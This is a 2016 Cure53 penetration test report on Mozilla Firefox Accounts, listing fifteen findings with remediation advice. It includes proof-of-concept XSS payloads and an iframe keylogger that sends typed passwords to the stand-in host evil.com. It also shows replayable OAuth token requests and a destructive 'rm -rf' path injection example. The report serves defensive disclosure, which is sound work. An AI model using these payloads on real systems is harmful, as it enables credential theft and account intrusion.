Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Pentest-Report Mozilla FxA 09.2016

Cure53, Dr. M. Heiderich, T. C. Hong, A. Inführ, M. Kinugawa, D. Weißer,
N. Hippert, Dr. J. Magazinius

Index

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Introduction

"Firefox Accounts (FxA) is an identity provider that provides authentication and user profile data for Mozilla cloud services. We are also exploring the possibility of allowing non-Mozilla services to delegate authentication to Firefox Accounts.

Creating a Firefox Account requires a user to give us a pre-existing email address and choose a password. The user must verify their email address via an email link sent to the email address she provided. The user will not be able to login to attached services prior to verifying her email address. To login to an existing Firefox Account, the user must provide the email address and password given during account creation. If the user forgets her password, she can reset via an email link sent to the email address given during account creation.

All new relying services should integrate with Firefox Accounts via the OAuth 2.0 API. There is also a legacy API based on the BrowserID protocol, which is available only in some Firefox user agents and is not recommended for new applications."

From https://developer.mozilla.org/en-US/docs/Mozilla/Tech/Firefox_Accounts/Introduction

This penetration test and source code audit against the Mozilla FxA was carried out by Cure53 in September and October of 2016. The test was conducted by seven members of the Cure53 team over a period of 30 days. The investigations, which have yielded a total of fifteen findings, pertained to the source code of a variety of involved backend applications and front-end applications, as well as other tools that are part of the Mozilla FxA ecosystem.

The main goal of this test was to find out whether the code, the infrastructure and processes defining the Mozilla FxA ecosystem are secure or if they perhaps expose a sizable, exploitable attack surface. In order to asses that, Cure53 made use of test- and staging-servers maintained and ran by Mozilla. In addition, the testing team set up a separate FxA infrastructure of their own to test the system in a more isolated and customizable manner. As the tests progressed, the spotted issues were filed directly into a private GitHub repository to give Mozilla the possibility to directly comment on all findings. This setup made it possible for the findings not only to be addressed quickly, but also to obtain fix verification from the Cure53 testers when the assessment was still ongoing. A dedicated password-protected IRC channel was a further facilitator of the communication between the Cure53 and Mozilla's in-house team. It has been used to discuss the results in detail and let Cure53 ask urgent questions and receive prompt feedback.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Needless to say, the combination of live-reporting into GitHub and the chat channel made this test a very efficient experience. As a consequence, the Cure53 was able to finalize the test and acquire full coverage in fewer days than the number agreed upon.

Moving on to the test results, the first important impression is about the quality of the code, which appears well-written and easy to read. In addition the Mozilla FxA team was highly knowledgeable about their product, so all technical queries were professionally and precisely answered. The actual fifteen findings of the test could be categorized into two groups of issues: six security vulnerabilities and nine general weaknesses. Only one of the discoveries has received a “Critical” ranking due to its severity. More specifically, as described in FXA-01-001, it would have been possible for an evil *“relier”* to cause Cross-Site-Scripting (XSS), and thereby get illegitimate access to heavily sensitive authentication data. Additional two issues were flagged as “High” and all these three issues warranted immediate attention. The remaining findings were considered to be of Medium-to-Low impact, ultimately signaling a positive result of this assessment.

Scope

- The scope of work mainly encompasses the FxA Authentication service, that is an HTTP API authenticating the user, enabling the user to authenticate to other services via BrowserID assertions, as well as making the password operations (change/reset) possible. The sources were made available for the test via GitHub repository; the production system to test against was also provided.
  - **Source:** https://github.com/mozilla/fxa-auth-server
- Further included in the scope was the OAuth Service: an HTTP API that implements a standard OAuth2 grant flow and accepts BrowserID assertions from the auth-server as authentication.
  - **Source:** https://github.com/mozilla/fxa-oauth-server
- Another component of the work scope was the Profile Service: an HTTP API authenticated via OAuth2 which manages user profile information such as display-name and profile picture
  - **Source:** https://github.com/mozilla/fxa-profile-server
- The scope of this project also entailed the Content Service: a static assets (HTML, JavaScript, CSS, etc.) hosting service that supports user-interactions with FxA. The responsibilities of the Content Server include:
  - Hosting a JavaScript library that supports interactions with the Auth and OAuth
  - Hosting login and create account pages
  - Hosting password reset pages
  - Hosting landing pages for email verification links
  - Hosting UI pages for the OAuth login flow

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

- **Sources:**
  - https://github.com/mozilla/fxa-content-server
  - https://github.com/mozilla/fxa-js-client (JavaScript client)
- Last scope item pertains to the Customs Server: a rate limiting and fraud detection service that integrates with the authentication service.
  - **Source:** https://github.com/mozilla/fxa-customs-server

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *FXA-01-001*) for the purpose of facilitating any future follow-up correspondence.

FXA-01-001 HTML injection via unsanitized FxA relier Name (*Critical*)

It was found that the name of a FxA *relier* is directly showed without any sanitization. This means that the attackers have the opportunity to inject arbitrary HTML into the page.

In the OAuth sign-in page (*/oauth/signin*), the *relier* name is rendered as HTML following the words "*to continue to*". In this context the possibility of XSS is relatively low given that the current setup of a robust CSP blocks any XSS attempts. Still, it is possible to trigger XSS in modern browsers that do not support CSP, namely Internet Explorer 11. What is more, it was not uncommon for a browser itself to be vulnerable to CSP bypasses[1], as those would need to be encompassed by a defense-in-depth feature only.

Steps to reproduce:

1. Register a relier and set the name as `<img src=x onerror=alert(1)>`
2. Visit the relier's sign-in page with Internet Explorer 11, e.g. https://stable.dev.lcip.org/oauth/signin?client_id=81730c8682f1efa5&state=123456&scope=profile:email
3. An alert box pops up.

Aside from XSS, the issue lets attackers perform scriptless attacks despite having the CSP in place. This would, for example, pave way for Phising approaches. When looking at Firefox, it has to be noted that there is a known bug that allows injecting *srcdoc-*

[1] https://www.mozilla.org/en-US/security/advisories/

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

supplied HTML in a sandboxed iframe without being affected by the CSP. Due to the *sandbox* attribute being set, the access to parent DOM is restricted, but it is possible to show and execute any HTML. HTTP requests can also be sent to any external domain.

PoC (in Firefox):

```
<% # add strong CSP here %>
<iframe
sandbox="allow-scripts"
srcdoc="<script>alert(1)</script><img src=https://evil.com/>"
>
```

This behavior is made easier to attack with the injected contents regardless of the CSP settings. The following example sends the keystroke to *evil.com*.

PoC (in Firefox):

```
<iframe frameborder='0' sandbox='allow-scripts' srcdoc='<h1>Please Enter Your
Password</h1><input onkeyup=fetch("https://evil.com/?pass="+this.value)>'>
```

It is worth mentioning that SVG can be employed here as a key-logging vector without having to rely on the above behavior[2]. The fact that makes this scenario rather unfeasible, however, is the name-length limitation (maximum 256 characters) of the *relier*.

Note that the endpoint for resetting one's password (*reset_password_complete*) is also lacking the *relier* name sanitization.

Steps to reproduce:

1. Visit a relier sign-in page with a XSS name, e.g. https://stable.dev.lcip.org/oauth/signin?client_id=81730c8682f1efa5&state=123456&scope=profile:email;
2. Choose "Forgot password?";
3. Check your email messages and open the reset link with Internet Explorer 11;
4. Follow the instructions;
5. In the last step an alert box will pop up (the output is after the "You are now ready to use" message).

It is recommended to sanitize the output for *relier* names and review the endpoints involved.

[2] https://bugzilla.mozilla.org/show_bug.cgi?id=704482

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

FXA-01-003 XSS via unsanitized URI Scheme of redirect_uri of FxA relier *(Medium)*

It was found that the *redirect_uri* parameter accepts URIs with arbitrary schemes. An attacker can register a malicious FxA *relier* with *redirect_uri* set to a *javascript:* or *data:* XSS payload. This would effectively trigger XSS.

When registering a *relier*, the *redirect_uri* value is validated to make sure it is in the correct URI format. However, it is not validated whether the provided *redirect_uri* can be used as a XSS vector. Currently this attack is mitigated by the CSP in place. However, it remains possible to trigger XSS on modern browsers that do not support CSP, for example Internet Explorer 11.

Steps to reproduce:

1. Register a *relier* and set the *redirect_uri* as `javascript:alert(1)`;
2. Visit the relier sign in page with Internet Explorer 11, e.g. https://stable.dev.lcip.org/oauth/signin?client_id=81730c8682f1efa5&state=123456&scope=profile:email;
3. Sign in onto the application;
4. An alert box pops up.

It is recommended to validate the URI scheme for the *redirect_uri*. Given the usage of the callback URI (allowing an unknown scheme), a white-list approach may not be feasible in this case. For such a scenario a black-list approach should be adopted instead, yet with the validation that must occur via URI parsing. Consequently, the *javascript*, *vbscript* and *data* schemes should be rejected.

FXA-01-004 XSS via unsanitized Output on JSON Endpoints *(High)*

It was found that the outputs on JSON endpoints do not encode HTML characters. This allows an attacker to cause XSS by influencing the output for a JSON endpoint. For example, https://oauth-stable.dev.lcip.org/v1/client/81730c8682f1efa5:

Output:

```
{"id":"81730c8682f1efa5","name":"<img src=x
onerror=alert(1)>","trusted":false,"image_uri":"","redirect_uri":"javascript:ale
rt(1)"}
```

As one can see, the angle brackets < and > are directly shown. Normally, this issue alone does not lead to XSS because the Content-Type header for the JSON endpoint is correctly set to *application/json*. Against this background it can be inferred that only legacy browsers which perform MIME Sniffing regardless of the Content-Type header are vulnerable. However, it was found that the endpoints do not have *X-Frame-Options*

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

and *X-Content-Type-Options* set. By abusing a bug in Internet Explorer it is possible to force MIME Sniffing on the endpoints and make them rendered as HTML.

PoC:
http://vulnerabledoma.in/pen/fxa_json_poc.html

As one visits the PoC with Internet Explorer 11 on Windows 7 / 8.1, the endpoint can be seen rendered as HTML. An alert box will pop up.

It is recommended to encode HTML characters for the JSON endpoints. In addition, security headers like *X-Frame-Options* and *X-Content-Type-Options* should also be set to prevent similar attacks.

FXA-01-008 Missing Access Revocation of authorized FxA relier *(Medium)*

It was found that there is no option for the users to revoke access of a previously authorized FxA *relier* in the *Account Management* page on the content server. This feature is important to OAuth providers because there are scenarios in which users may want to revoke access of a relier. This would be crucial when one no longer wishes a *relier* to access their profile for privacy concerns.

Currently the only way to prevent *reliers* from accessing a user's profile is to completely delete the associated account. It is recommended to permit users to selectively revoke access to specific *reliers*. The users should ideally also be able to view and consult an overview of all authorized *reliers* and their respective scope.

FXA-01-011 Refresh Token & Auth Code not invalidated after Revocation *(Medium)*

It was found that when a user tries to revoke access of a given *relier*, only the access tokens are invalidated. The refresh tokens and authorization codes are not made invalid. Since both these types of tokens can be used in the process of being exchanged for an access token, this allows a malicious *relier* to maintain access over a user, even though the user thinks otherwise because he/she has in fact revoked the access in a given case.

Steps to reproduce:

1. Authorize an relier and get the authorization code

```
POST https://oauth-stable.dev.lcip.org/v1/authorization HTTP/1.1

{"assertion":"<assertion>","client_id":"81730c8682f1efa5","scope":"profil
e:email","state":"123456"}
```

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

```
HTTP/1.1 200 OK

{"redirect":"javascript:alert(1)?
state=123456&code=536cf769803dce64584145e2f2efc8cf21761ea183b82be97c418b1
e8da641ac
```

2. Use the code against the token endpoint

```
POST https://oauth-stable.dev.lcip.org/v1/token HTTP/1.1

{
  "client_id": "81730c8682f1efa5",
  "client_secret":
"0b776868cb079868d88f659ddddbca6a21ac3fb8d55987123ec278514bf62fb1",
  "grant_type": "authorization_code",
  "code":
"536cf769803dce64584145e2f2efc8cf21761ea183b82be97c418b1e8da641ac"
}
```

3. Revoke access to the *relier*: the access token will get invalidated
4. Replay the request in step *2*
5. A new access token will be generated.

Testing of the refresh token can be done in a similar fashion. It is recommended to ensure that not only the active access tokens, but also the refresh tokens and authorization codes are invalidated when a user is revoking access to a *relier*.

FXA-01-014 Weak client-side Key Stretching *(High)*

On the client-side PBKDF2 with 1000 iterations is used for key stretching. This is done to add a work factor to the attempts aimed at brute-forcing passwords. Moreover, it seeks to obfuscate the password as it is sent to the server. The password may not be sent in a clear-text format to the server because it is used for numerous actions, including authentication, *authPW*, and as a base for unwrapping the *kB* encryption key, i.e. *unwrapBKey*. The cleartext password can directly be used to reveal the *kB* key, while knowing the obfuscated password, *authPW*, should not aid an attacker who nevertheless has to succeed with a brute-force attack.

However, 1000 iterations of the PBKDF2 are not enough to add a significant work factor. PBKDF2 is easily parallelized and a single modern computer can compute millions of PBKDF2 passwords per second and billions of passwords in a day. Also, given that the salt is well-known, an attacker can pre-compute a sizable rainbow table beforehand. In other words, it would not be hard for the attackers to find the password with either *authPW* or *wrap(kB)* at their disposal.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

This issue is the result of a tradeoff between security and efficiency. The current recommendation for the stored PBKDF2 passwords is estimated at 256000 iterations, which may not be feasible on a client with limited resources. Further, this attack assumes a very strong malicious adversary who is capable of bypassing TLS, as discussed in the security analysis. Finding a balance between keeping the tool safe and having it appropriately respond to the users' needs is dependent on the efficiency (or perceived inefficiency) of the weakest of the expected clients. Therefore an exact recommendation on the number of iterations cannot be supplied in this instance.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

FXA-01-002 Sensitive Information in localStorage not cleared after Sign-Out *(Low)*

It was found that the browser stores user-data in *localStorage* but fails to erase the content after a user logs out. This might be a risk in a scenario involving several users sharing a PC (e.g. at an internet cafe).

PoC:

```
localStorage.getItem("__fxa_storage.accounts")
```

Resulting Info:

```
{"38242f0b79c546d6a970a537843f5606":
{"displayName":"Masato","email":"masato@cure53.de","hadProfileImageSetBefore":tr
ue,"lastLogin":1474271834608,"needsOptedInToMarketingEmail":false,"permissions":
{"gravatar":
{"profile:email":true}},"sessionToken":"df7b41bdc1900ce6c59570ccd10d223fb66ee687
9cfd543af769ff98c4dbc2a7","uid":"38242f0b79c546d6a970a537843f5606","verified":tr
ue}}
```

It is recommended to delete the outlined user-data from the *localStorage* immediately after a user signs out. This will help ensure that the next person using the same computer cannot extract information about other users who worked with FxA on a shared workstation before.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

FXA-01-005 Unexpected Sign In via Password Reset *(Medium)*

It was found that if a user resets the password for his/her account via a special link to the "*Forgot Password*" page, the user can be misguided to sign in to a FxA *relier*. An attacker can set up a malicious *relier* and access resources of a user's account.

Let us assume the *relier* parameters are provided in the password reset endpoint (*/reset_password*) and a user resets the password with its assistance. Once the user completes the reset process, he/she will sign in to the *relier* unexpectedly.

The problem here is that there is no information mentioned for this action anywhere throughout the entire process. As a consequence, users may not expect this behavior and may think they are just resetting the password. By having a user sign in to a malicious *relier*, an attacker can access the user's accounts. At this stage getting the email address and modifying the profile becomes a risk.

This issue can seemingly additionally bypass the permission consent screen. Normally, if a user signs into an untrusted *relier*, a prompt will be shown to them and request confirmation about which details should be shared. Thanks to the special reset link, the *sign-in* process succeeds without the consent dialog being displayed.

Steps to reproduce:

1. Visit https://stable.dev.lcip.org/reset_password?client_id=dcdb5ae7add825d2&state=123456&scope=profile%20kv%3Aread%20kv%3Awrite&redirect_uri=https%3A%2F%2F123done-stable.dev.lcip.org%2Fapi%2Foauth;
2. Initiate the reset password process and keep the page open;
3. Check the email and visit the password reset link in a separate tab;
4. Continue to finish the password reset process. After the final step, the other tab will redirect to the *relier redirect_uri* with the authorization code.

It is recommended to include the information about what happens when a user chooses to reset the password with the links of this kind.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

FXA-01-006 Missing Security Headers on OAuth APIs *(Info)*

It was found that the API endpoints on the OAuth server are missing certain HTTP security headers. This does not directly lead to an issue though might aid attackers in their efforts of exploiting other problems with the help of this weakness. This was demonstrated in FXA-01-004, for instance. The following list enumerates the headers that need to be reviewed.

- **X-Frame-Options**: This header specifies if the web page is allowed to be framed. Although this header is known to prevent Clickjacking attacks, there are many other attacks which can be achieved when a web page is framable[3]. It is recommended to set the value to either **SAMEORIGIN** or **DENY**.
- **X-Content-Type-Options**: This header determines whether the browser should perform MIME Sniffing on the resource. The most common attack abusing the lack of this header is tricking the browser to render a resource as a HTML document, effectively leading to XSS.
- **X-XSS-Protection**: This header specifies if the browser's built-in XSS auditors should be activated (enabled by default). Not only does setting this header prevent Reflected XSS, but also helps to avoid the attacks abusing the issues on the XSS auditor itself with false-positives, e.g. Universal XSS[4] and similar. It is recommended to set the value to either **0** or **1; mode=block**.
- **Content-Security-Policy**: This header defines the Content Security Policy for the web page. Even though this constitutes a defense-in-depth measure, it can be an effective device to block a majority of XSS attempts, as well as Content Exfiltration attacks.

FXA-01-007 Reusable Authorization Code on OAuth Server *(Low)*

Another issue was found within the process of exchanging an authorization code for an access token. More specifically even if the authorization code has already been used, the token endpoint (*/v1/token*) of the OAuth server still accepted the request and produced a new access token. According to the specification[5], "*[i]f an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on that authorization code*".

Steps to reproduce:

1. Authorize a *relier* and get the authorization code

[3] https://cure53.de/xfo-clickjacking.pdf
[4] http://www.slideshare.net/masatokinugawa/xxn-en
[5] https://tools.ietf.org/html/rfc6749#section-4.1.2

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

```
POST https://oauth-stable.dev.lcip.org/v1/authorization HTTP/1.1

{"assertion":"<assertion>","client_id":"81730c8682f1efa5","scope":"profi
le:email","state":"123456"}

HTTP/1.1 200 OK

{"redirect":"javascript:alert(1)?
state=123456&code=536cf769803dce64584145e2f2efc8cf21761ea183b82be97c418b
1e8da641ac
```

2. Use the code against the token endpoint:

```
POST https://oauth-stable.dev.lcip.org/v1/token HTTP/1.1

{
  "client_id": "81730c8682f1efa5",
  "client_secret":
"0b776868cb079868d88f659ddddbca6a21ac3fb8d55987123ec278514bf62fb1",
  "grant_type": "authorization_code",
  "code":
"536cf769803dce64584145e2f2efc8cf21761ea183b82be97c418b1e8da641ac"
}
```

3. Replay the request from *Step 2*. A new access token will be generated even though the code has already been used.

It is recommended to ensure the authorization code can only be used once.

FXA-01-009 Ineffective ttl Parameter on Token Endpoint *(Low)*

It was found that the parameter *ttl* which is used to indicate the expiry time of an access token is not effective on the token endpoint (*/v1/token*) on the OAuth server.

Steps to reproduce:

1. Authorize a *relier* and get the authorization code.

```
POST https://oauth-stable.dev.lcip.org/v1/authorization HTTP/1.1

{"assertion":"<assertion>","client_id":"81730c8682f1efa5","scope":"profil
e:email","state":"123456"}

HTTP/1.1 200 OK

{"redirect":"javascript:alert(1)?
```

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

```
state=123456&code=536cf769803dce64584145e2f2efc8cf21761ea183b82be97c418b1
e8da641ac
```

2. Use the code against the token endpoint and set *ttl* to one second.

```
POST https://oauth-stable.dev.lcip.org/v1/token HTTP/1.1

{
  "client_id": "81730c8682f1efa5",
  "client_secret":
"0b776868cb079868d88f659ddddbca6a21ac3fb8d55987123ec278514bf62fb1",
  "ttl": 1,
  "grant_type": "authorization_code",
  "code":
"536cf769803dce64584145e2f2efc8cf21761ea183b82be97c418b1e8da641ac"
}
```

3. Use the access token to access the profile endpoint (*/v1/account/profile*) or any other endpoints that can fetch data of the account.

4. The response will contain the requested data of the account, which proves that access tokens do not expire in the desired timeframe.

It is also worth mentioning that *ttl* can be a negative integer, meaning an invalid value. It is recommended to validate the value of *ttl* and make sure the tokens expire after a given time period.

FXA-01-010 Possible RCE if Application is run in a malicious Path *(High)*

When an attacker can specify the location for the execution of the application, s/he can effectively execute arbitrary commands. This is possible because the current directory is put into a command line without filtering. If the application is executed in a path containing e.g. `*rm -rf **,` some damage could be caused.

Affected file:
/fxa-auth-server-master/lib/routes/defaults.js

Affected code:

```
var gitDir = path.resolve(__dirname, '..', '..', '.git')
var cmd = util.format('git --git-dir=%s rev-parse HEAD', gitDir)
```

The same issue occurs in the applications as well. Although a successful exploitation of this bug is quite unrealistic, it is recommended to nevertheless apply proper filtering, escape the path, and place it between single quotes.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

FXA-01-012 Query Results exposed in client token delete Endpoint *(Low)*

The raw query results were found to be returned in the response when the token delete endpoint (*/v1/client-tokens/*) was called. This exposes unnecessary information, even though an attacker cannot directly extract important data from this mishap.

Request:

```
DELETE https://oauth-latest.dev.lcip.org/v1/client-tokens/dcdb5ae7add825d2
HTTP/1.1
Authorization: Bearer <access_token>
```

Response:

```
HTTP/1.1 200 OK
```


```
{"fieldCount":0,"affectedRows":1,"insertId":0,"serverStatus":2,"warningCount":0,
"message":"","protocol41":true,"changedRows":0}
```


It is recommended to solely return the necessary information for the endpoint.

FXA-01-013 Insecure Property Access / Method Calls on Content Server *(Info)*

It was found that insecure property access and method calls are not restricted by the application. This allows an attacker to influence the keys of a JSON literal after parsing. The request body is passed to *JSON.parse()* by the server-side code in the following line:

- https://github.com/mozilla/fxa-content-server/blob/18ddbf62dd13270829157b8a8e8796b57c90302d/server/lib/routes/post-metrics-errors.js#L26
- https://github.com/mozilla/fxa-content-server/blob/e6181042351a09b934ef08208855572505b693bc/server/lib/routes/post-metrics.js#L37

In some cases the native method is overwritten by the JSON key. As the result, an error will be caused when the overwritten method is called. Note that being able to influence object keys often leads to XSS by means of reconfiguring application's logic.

Affected File 1:
https://github.com/mozilla/fxa-content-server/blob/18ddbf62dd13270829157b8a8e8796b57c90302d/server/lib/routes/post-metrics-errors.js

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Affected Code:

```
function setExtraSentryData(data) {
  var sentryData = null;
  try {
    sentryData = JSON.parse(data);
  } catch (e) {
    logger.error('Failed to parse Sentry data', data);
  }

  if (sentryData) {
    if (sentryData.stacktrace && sentryData.stacktrace.frames) {
[...]
      sentryData.stacktrace.frames = sentryData.stacktrace.frames.slice(0,
STACK_TRACE_LENGTH);
    }
    return JSON.stringify(sentryData);
  } else {
    return data;
  }

}
```

Request:

```
POST https://latest.dev.lcip.org/metrics-errors HTTP/1.1

{"stacktrace":{"frames":{"slice":"OVERWRITE_SLICE_METHOD"}}}
```

Error:

```
TypeError: sentryData.stacktrace.frames.slice is not a function
```

Affected File 2:

https://github.com/mozilla/fxa-content-server/blob/e6181042351a09b934ef08208855572505b693bc/server/lib/statsd-collector.js

Affected Code:

```
function getGenericTags(body) {
  // see more about tags here: http://docs.datadoghq.com/guides/metrics/
  var tags = [
    'context:' + body.context,
    'broker:' + body.broker,
    'entrypoint:' + body.entrypoint,
    'migration:' + body.migration,
    'lang:' + body.lang,
    'service:' + body.service
  ];
[...]
```

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Request:

```
POST https://latest.dev.lcip.org/metrics HTTP/1.1

{"context":{"toString":"OVERWRITE"}}
```

Error:

```
TypeError: Cannot convert object to primitive value
```

It is recommended to properly validate the value before using it to populate object keys in hopes of avoiding the unexpected error. It was not possible to create an exploitable scenario here, but it must be kept in mind that future versions of the software might become vulnerable in case this is not tackled.

FXA-01-015 Session Tokens do not expire *(Low)*

Session tokens are used for the purpose of identifying the current session among the communications with several API endpoints. No clear rationale is given in the documentation as to why the session tokens last either indefinitely or until revoked. Simultaneously, an intercepted session token can be covertly used for an arbitrary amount of time.

It is known that session token allows the attacker to, among other actions, obtain signed certificates in the name of a victim. The exact impact of this issue is unclear since the current and future use of the certificate could not be determined. A clear recommendation is to set a reasonable expiry date on the tokens, since it would not be asking too much effort of the users to have them periodically verify their identity.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

Conclusion

This security assessment of Mozilla FxA, which was conducted by seven members of the Cure53 team in autumn of 2016, managed to unveil a total of fifteen findings.

Given the amount of the audited code and the complexity of the project, this number of findings classifies as low and translates to an overall positive result of the investigations. It has to be reiterated that the tests encompassed a full code audit and covered all relevant parts of the Mozilla FxA ecosystem, meaning that there were no major time constraints on the part of the Cure53 testers. Despite the fact that the tests were as thorough as possible on the codebase placed in scope, only a single “Critical” finding was ultimately spotted. Even though this issue was discovered early on in the test, no major design issues were identified. Ultimately, the platform was perceived as rather robust and secured against a wide range of different attacks.

Focusing on more detailed technical discoveries, it appears that the majority of the design issues stem from the fact that certain processes have not yet been fully implemented thus far, as evidenced by the mechanism behind the FXA-01-008. The attempts were therefore made to identify vulnerability patterns and determined where the weaknesses were most commonly located. Against this background assessment, suggestions can be made as to how to improve the general level of security offered by the platform.. Aside from the XSS problems in several unexpected places, no actually pronounced pattern was visible, again speaking volumes about the security dedication of the platform maintainers. Nevertheless, it must aid further development to list the aspects on which special focus was placed during the test.

The items and tasks illustrating the progress and coverage of this test were the following:

- Analyzing client-side JavaScript files for insecure usage of *eval*, *Function constructor*, DOMXSS and other vulnerabilities. Additional focus on checking for insecure usage of client-side JavaScript framework code.
- Checking whether user-controlled data is used in the *constructor* due to the fact that this can lead to a memory leaks in the application using Buffers.
- Analyzing the image upload endpoint, specifically with regard to checking for either SSRF or rogue images being allowed. The implemented checks prohibit non JPEG/PNG images.
- Examining authorization and authentication of profiles, e.g. setting names of other profiles, account overtake via email overwrite or password reset functionality, as well as possibility to set passwords without knowing the old account password.

Dr.-Ing. Mario Heiderich, Cure53
Rudolf Reusch Str. 33
D 10367 Berlin
cure53.de · mario@cure53.de

- Verifying template generation for the profile endpoint in the context of local file inclusion. Additional focus on the used language library and its potential to allow arbitrary language values.
- Analyzing the FxA Inter-Service Authentication and Delegation design with a main goal of ensuring that the system follows the OAuth2 specifications; examining weaknesses of the *onepw* protocol and the supported flows
- Checking for the most common XSS attacks that could occur in a OAuth implementation, specifically the unsanitized values of redirect URI and *client/relier's* names.
- Looking for privilege escalation and IDOR issues during the audit of codes for OAuth endpoints, profile endpoints and authentication endpoints. One interesting attempt was to investigate the possibility of SSRF via the *pushCallback* parameter on the *device notification* endpoint.
- Checking all available endpoints for SQLi vulnerabilities and similar flaws.
- Reviewed the *onepw* crypto protocol. Analysis of the protocol flow and key management. Specific focus on cryptographic primitives and security assumptions.
- Auditing authentication endpoints for possible logic flaws, SQLi attacks, RCEs, XSS and information disclosure.
- Investigating the possibly missing security headers and the usage of those in place. Particular attention to checking for the resistance to XSS, XSSi, clickjacking, and MITM attacks.
- Reviewing the generation of salts and tokens for proper cryptographic usage and strength.

In summary, Cure53 deems the Mozilla FxA platform to be robust and ready for production. With the exception of the known weakness described in FXA-01-014, the spotted issues appear to be relatively easy to fix and can be tackled by dedicated tests on a regular basis. On that note, it is recommended to ensure the lasting effect of the reported findings and their fixes through unit tests in the code base. It is only through such dedicated efforts that decent assurances about no threat of regressions can be made. Regular security audits should become part of the development cycle and it is generally a good practice to benefit from different auditors for each assessment. Incorporating multiple approaches and many testing teams that represent different strength and foci can make the task of keeping the security promises of the Mozilla FxA tool more straightforward and feasible.

Cure53 would like to thank Julien Vehent and the entire Mozilla Cloudsec Team for their excellent project coordination, support and assistance, both before and during this assignment.